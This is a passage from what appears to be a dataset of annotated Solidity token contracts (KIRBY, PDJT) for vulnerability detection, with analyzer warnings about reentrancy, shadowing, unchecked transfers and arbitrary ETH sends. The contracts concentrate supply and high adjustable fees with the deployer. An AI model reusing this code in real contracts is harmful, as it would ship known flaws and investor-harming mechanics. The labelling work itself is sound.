amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: b0f7487\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: b0f7487\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: d60b6d4\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract KIRBY is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5ed70da): KIRBY.uniswapV2Pair should be immutable \n\t// Recommendation for 5ed70da: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bb4b1a3): KIRBY.deployerWallet should be immutable \n\t// Recommendation for bb4b1a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bbff15d): KIRBY.marketingWallet should be immutable \n\t// Recommendation for bbff15d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: cf084b5): KIRBY._name shadows ERC20._name\n\t// Recommendation for cf084b5: Remove the state variable shadowing.\n string private constant _name = \"KIRBY\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 213b3a2): KIRBY._symbol shadows ERC20._symbol\n\t// Recommendation for 213b3a2: Remove the state variable shadowing.\n string private constant _symbol = \"Kirby\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fdcf015): KIRBY.initialTotalSupply should be constant \n\t// Recommendation for fdcf015: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 420_690_000_000 * 1e18;\n\n uint256 public maxTransactionAmount = 8_413_800_000 * 1e18;\n\n uint256 public maxWallet = 8_413_800_000 * 1e18;\n\n uint256 public swapTokensAtAmount = 4_206_900_000 * 1e18;\n\n bool public enableTrade = false;\n\n uint256 public BuyFee = 20;\n\n uint256 public SellFee = 35;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 377971f): KIRBY.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for 377971f: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: 377971f\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint devTx = initialTotalSupply.mul(85).div(100);\n\n uint remain = initialTotalSupply.sub(devTx);\n\n _mint(deployerWallet, devTx);\n\n _mint(address(this), remain);\n }\n\n receive() external payable {}\n\n function openTrade() external onlyOwner {\n enableTrade = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d60b6d4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d60b6d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: b0f7487): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for b0f7487: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!enableTrade) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: d60b6d4\n\t\t\t// reentrancy-no-eth | ID: b0f7487\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: b0f7487\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: d60b6d4\n\t\t\t\t// reentrancy-no-eth | ID: b0f7487\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: d60b6d4\n\t\t// reentrancy-no-eth | ID: b0f7487\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d60b6d4\n\t\t// reentrancy-no-eth | ID: b0f7487\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeSkullLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dadbb72): KIRBY.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for dadbb72: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: dadbb72\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f2e1ae7): KIRBY.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for f2e1ae7: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: f2e1ae7\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6006a2f): KIRBY.setFee(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 6006a2f: Emit an event for critical parameter changes.\n function setFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n require(_buyFee <= 40 && _sellFee <= 50, \"Fees cannot exceed 99%\");\n\n\t\t// events-maths | ID: 6006a2f\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 6006a2f\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c13b594): KIRBY.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for c13b594: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: c13b594\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10879.sol",
"size_bytes": 28703,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PDJT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28a2d07): PDJT._taxWallet should be immutable \n\t// Recommendation for 28a2d07: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fe9e76): PDJT._initialBuyTax should be constant \n\t// Recommendation for 9fe9e76: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87b3788): PDJT._initialSellTax should be constant \n\t// Recommendation for 87b3788: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e891ff): PDJT._reduceBuyTaxAt should be constant \n\t// Recommendation for 1e891ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: f41d578): PDJT._reduceSellTaxAt should be constant \n\t// Recommendation for f41d578: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 397b29b): PDJT._preventSwapBefore should be constant \n\t// Recommendation for 397b29b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 1e9;\n\n string private constant _name = unicode\"President Donald J Trump\";\n\n string private constant _symbol = unicode\"$PDJT\";\n\n uint256 public _maxTxAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxWalletSize = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25c5fcd): PDJT._taxSwapThreshold should be constant \n\t// Recommendation for 25c5fcd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (2 * _tTotal) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e621b7): PDJT._maxTaxSwap should be constant \n\t// Recommendation for 5e621b7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (2 * _tTotal) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af16ed9): PDJT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for af16ed9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73edcd4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73edcd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e1189af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e1189af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 73edcd4\n\t\t// reentrancy-benign | ID: e1189af\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 73edcd4\n\t\t// reentrancy-benign | ID: e1189af\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d35b754): PDJT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d35b754: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e1189af\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 73edcd4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9fc8513): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9fc8513: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4680087): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4680087: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9fc8513\n\t\t\t\t// reentrancy-eth | ID: 4680087\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9fc8513\n\t\t\t\t\t// reentrancy-eth | ID: 4680087\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4680087\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4680087\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4680087\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9fc8513\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4680087\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4680087\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9fc8513\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9fc8513\n\t\t// reentrancy-events | ID: 73edcd4\n\t\t// reentrancy-benign | ID: e1189af\n\t\t// reentrancy-eth | ID: 4680087\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit 